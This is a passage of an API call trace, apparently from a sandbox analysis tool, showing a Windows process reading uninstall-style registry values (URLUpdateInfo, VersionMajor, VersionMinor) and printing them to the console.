_File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.045] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.045] __iob_func () returned 0x7fefd702a80 [0151.045] _fileno (_File=0x7fefd702ab0) returned 1 [0151.045] _errno () returned 0x204bb0 [0151.045] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.045] _errno () returned 0x204bb0 [0151.045] GetFileType (hFile=0x50) returned 0x1 [0151.045] lstrlenW (lpString="") returned 0 [0151.045] __iob_func () returned 0x7fefd702a80 [0151.045] _fileno (_File=0x7fefd702ab0) returned 1 [0151.045] _errno () returned 0x204bb0 [0151.045] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.045] _errno () returned 0x204bb0 [0151.045] GetFileType (hFile=0x50) returned 0x1 [0151.045] lstrlenW (lpString="\n") returned 1 [0151.045] GetConsoleOutputCP () returned 0x1b5 [0151.046] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.046] GetConsoleOutputCP () returned 0x1b5 [0151.046] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.046] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.046] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.046] GetProcessHeap () returned 0x3c0000 [0151.046] GetProcessHeap () returned 0x3c0000 [0151.046] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.046] GetProcessHeap () returned 0x3c0000 [0151.046] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.046] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.046] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.046] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.046] GetProcessHeap () returned 0x3c0000 [0151.046] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.046] GetProcessHeap () returned 0x3c0000 [0151.046] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.046] GetProcessHeap () returned 0x3c0000 [0151.046] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.046] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0151.046] __iob_func () returned 0x7fefd702a80 [0151.046] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.046] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.046] _fileno (_File=0x7fefd702ab0) returned 1 [0151.046] _errno () returned 0x204bb0 [0151.047] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.047] _errno () returned 0x204bb0 [0151.047] GetFileType (hFile=0x50) returned 0x1 [0151.047] lstrlenW (lpString=" ") returned 4 [0151.047] GetConsoleOutputCP () returned 0x1b5 [0151.047] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.047] GetConsoleOutputCP () returned 0x1b5 [0151.047] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.047] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.047] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.047] lstrlenW (lpString="URLUpdateInfo") returned 13 [0151.047] __iob_func () returned 0x7fefd702a80 [0151.047] _fileno (_File=0x7fefd702ab0) returned 1 [0151.047] _errno () returned 0x204bb0 [0151.047] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.047] _errno () returned 0x204bb0 [0151.047] GetFileType (hFile=0x50) returned 0x1 [0151.047] lstrlenW (lpString="URLUpdateInfo") returned 13 [0151.047] GetConsoleOutputCP () returned 0x1b5 [0151.047] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0151.047] GetConsoleOutputCP () returned 0x1b5 [0151.048] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0151.048] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0151.048] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.048] __iob_func () returned 0x7fefd702a80 [0151.048] _fileno (_File=0x7fefd702ab0) returned 1 [0151.048] _errno () returned 0x204bb0 [0151.048] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.048] _errno () returned 0x204bb0 [0151.048] GetFileType (hFile=0x50) returned 0x1 [0151.048] lstrlenW (lpString=" ") returned 4 [0151.048] GetConsoleOutputCP () returned 0x1b5 [0151.048] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.048] GetConsoleOutputCP () returned 0x1b5 [0151.048] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.048] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.048] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.048] __iob_func () returned 0x7fefd702a80 [0151.048] _fileno (_File=0x7fefd702ab0) returned 1 [0151.048] _errno () returned 0x204bb0 [0151.048] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.048] _errno () returned 0x204bb0 [0151.048] GetFileType (hFile=0x50) returned 0x1 [0151.048] lstrlenW (lpString="REG_SZ") returned 6 [0151.048] GetConsoleOutputCP () returned 0x1b5 [0151.049] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.049] GetConsoleOutputCP () returned 0x1b5 [0151.049] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.049] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.049] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.049] __iob_func () returned 0x7fefd702a80 [0151.049] _fileno (_File=0x7fefd702ab0) returned 1 [0151.049] _errno () returned 0x204bb0 [0151.049] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.049] _errno () returned 0x204bb0 [0151.049] GetFileType (hFile=0x50) returned 0x1 [0151.049] lstrlenW (lpString=" ") returned 4 [0151.049] GetConsoleOutputCP () returned 0x1b5 [0151.049] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.049] GetConsoleOutputCP () returned 0x1b5 [0151.049] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.049] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.049] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.049] __iob_func () returned 0x7fefd702a80 [0151.049] _fileno (_File=0x7fefd702ab0) returned 1 [0151.049] _errno () returned 0x204bb0 [0151.050] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.050] _errno () returned 0x204bb0 [0151.050] GetFileType (hFile=0x50) returned 0x1 [0151.050] lstrlenW (lpString="") returned 0 [0151.050] __iob_func () returned 0x7fefd702a80 [0151.050] _fileno (_File=0x7fefd702ab0) returned 1 [0151.050] _errno () returned 0x204bb0 [0151.050] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.050] _errno () returned 0x204bb0 [0151.050] GetFileType (hFile=0x50) returned 0x1 [0151.050] lstrlenW (lpString="\n") returned 1 [0151.050] GetConsoleOutputCP () returned 0x1b5 [0151.050] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.050] GetConsoleOutputCP () returned 0x1b5 [0151.050] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.050] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.050] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.050] GetProcessHeap () returned 0x3c0000 [0151.050] GetProcessHeap () returned 0x3c0000 [0151.050] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.050] GetProcessHeap () returned 0x3c0000 [0151.050] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.050] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.050] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.050] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.050] GetProcessHeap () returned 0x3c0000 [0151.050] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.050] GetProcessHeap () returned 0x3c0000 [0151.051] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.051] GetProcessHeap () returned 0x3c0000 [0151.051] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.051] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xa, pcbData=0x29f780*=0x4) returned 0x0 [0151.051] __iob_func () returned 0x7fefd702a80 [0151.051] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.051] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.051] _fileno (_File=0x7fefd702ab0) returned 1 [0151.051] _errno () returned 0x204bb0 [0151.051] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.051] _errno () returned 0x204bb0 [0151.051] GetFileType (hFile=0x50) returned 0x1 [0151.051] lstrlenW (lpString=" ") returned 4 [0151.051] GetConsoleOutputCP () returned 0x1b5 [0151.051] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.051] GetConsoleOutputCP () returned 0x1b5 [0151.051] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.051] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.051] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.051] lstrlenW (lpString="VersionMajor") returned 12 [0151.051] __iob_func () returned 0x7fefd702a80 [0151.051] _fileno (_File=0x7fefd702ab0) returned 1 [0151.051] _errno () returned 0x204bb0 [0151.051] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.051] _errno () returned 0x204bb0 [0151.051] GetFileType (hFile=0x50) returned 0x1 [0151.051] lstrlenW (lpString="VersionMajor") returned 12 [0151.051] GetConsoleOutputCP () returned 0x1b5 [0151.052] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0151.052] GetConsoleOutputCP () returned 0x1b5 [0151.052] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0151.052] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0151.052] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.052] __iob_func () returned 0x7fefd702a80 [0151.052] _fileno (_File=0x7fefd702ab0) returned 1 [0151.052] _errno () returned 0x204bb0 [0151.052] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.052] _errno () returned 0x204bb0 [0151.052] GetFileType (hFile=0x50) returned 0x1 [0151.052] lstrlenW (lpString=" ") returned 4 [0151.052] GetConsoleOutputCP () returned 0x1b5 [0151.052] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.052] GetConsoleOutputCP () returned 0x1b5 [0151.052] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.052] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.052] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.052] __iob_func () returned 0x7fefd702a80 [0151.052] _fileno (_File=0x7fefd702ab0) returned 1 [0151.052] _errno () returned 0x204bb0 [0151.052] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.053] _errno () returned 0x204bb0 [0151.053] GetFileType (hFile=0x50) returned 0x1 [0151.053] lstrlenW (lpString="REG_DWORD") returned 9 [0151.053] GetConsoleOutputCP () returned 0x1b5 [0151.053] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.053] GetConsoleOutputCP () returned 0x1b5 [0151.053] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.053] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.053] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.053] __iob_func () returned 0x7fefd702a80 [0151.053] _fileno (_File=0x7fefd702ab0) returned 1 [0151.053] _errno () returned 0x204bb0 [0151.053] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.053] _errno () returned 0x204bb0 [0151.053] GetFileType (hFile=0x50) returned 0x1 [0151.053] lstrlenW (lpString=" ") returned 4 [0151.053] GetConsoleOutputCP () returned 0x1b5 [0151.053] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.053] GetConsoleOutputCP () returned 0x1b5 [0151.053] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.053] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.054] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.054] __iob_func () returned 0x7fefd702a80 [0151.054] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.054] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xa") returned 3 [0151.054] _fileno (_File=0x7fefd702ab0) returned 1 [0151.054] _errno () returned 0x204bb0 [0151.054] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.054] _errno () returned 0x204bb0 [0151.054] GetFileType (hFile=0x50) returned 0x1 [0151.054] lstrlenW (lpString="0xa") returned 3 [0151.054] GetConsoleOutputCP () returned 0x1b5 [0151.054] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0151.054] GetConsoleOutputCP () returned 0x1b5 [0151.054] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xa", lpUsedDefaultChar=0x0) returned 3 [0151.054] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0151.054] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.054] __iob_func () returned 0x7fefd702a80 [0151.054] _fileno (_File=0x7fefd702ab0) returned 1 [0151.054] _errno () returned 0x204bb0 [0151.054] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.054] _errno () returned 0x204bb0 [0151.054] GetFileType (hFile=0x50) returned 0x1 [0151.054] lstrlenW (lpString="\n") returned 1 [0151.054] GetConsoleOutputCP () returned 0x1b5 [0151.055] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.055] GetConsoleOutputCP () returned 0x1b5 [0151.055] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.055] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.055] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.055] GetProcessHeap () returned 0x3c0000 [0151.055] GetProcessHeap () returned 0x3c0000 [0151.055] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.055] GetProcessHeap () returned 0x3c0000 [0151.055] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.055] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.055] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.055] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.055] GetProcessHeap () returned 0x3c0000 [0151.055] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.055] GetProcessHeap () returned 0x3c0000 [0151.055] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.055] GetProcessHeap () returned 0x3c0000 [0151.055] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.055] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.055] __iob_func () returned 0x7fefd702a80 [0151.055] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.055] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.055] _fileno (_File=0x7fefd702ab0) returned 1 [0151.055] _errno () returned 0x204bb0 [0151.055] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.055] _errno () returned 0x204bb0 [0151.055] GetFileType (hFile=0x50) returned 0x1 [0151.055] lstrlenW (lpString=" ") returned 4 [0151.055] GetConsoleOutputCP () returned 0x1b5 [0151.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.056] GetConsoleOutputCP () returned 0x1b5 [0151.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.056] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.056] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.056] lstrlenW (lpString="VersionMinor") returned 12 [0151.056] __iob_func () returned 0x7fefd702a80 [0151.056] _fileno (_File=0x7fefd702ab0) returned 1 [0151.056] _errno () returned 0x204bb0 [0151.056] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.056] _errno () returned 0x204bb0 [0151.056] GetFileType (hFile=0x50) returned 0x1 [0151.056] lstrlenW (lpString="VersionMinor") returned 12 [0151.056] GetConsoleOutputCP () returned 0x1b5 [0151.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0151.056] GetConsoleOutputCP () returned 0x1b5 [0151.056] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0151.056] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0151.056] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.056] __iob_func () returned 0x7fefd702a80 [0151.056] _fileno (_File=0x7fefd702ab0) returned 1 [0151.056] _errno () returned 0x204bb0 [0151.056] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.057] _errno () returned 0x204bb0 [0151.057] GetFileType (hFile=0x50) returned 0x1 [0151.057] lstrlenW (lpString=" ") returned 4 [0151.057] GetConsoleOutputCP () returned 0x1b5 [0151.057] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.057] GetConsoleOutputCP () returned 0x1b5 [0151.057] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.057] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.057] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.057] __iob_func () returned 0x7fefd702a80 [0151.057] _fileno (_File=0x7fefd702ab0) 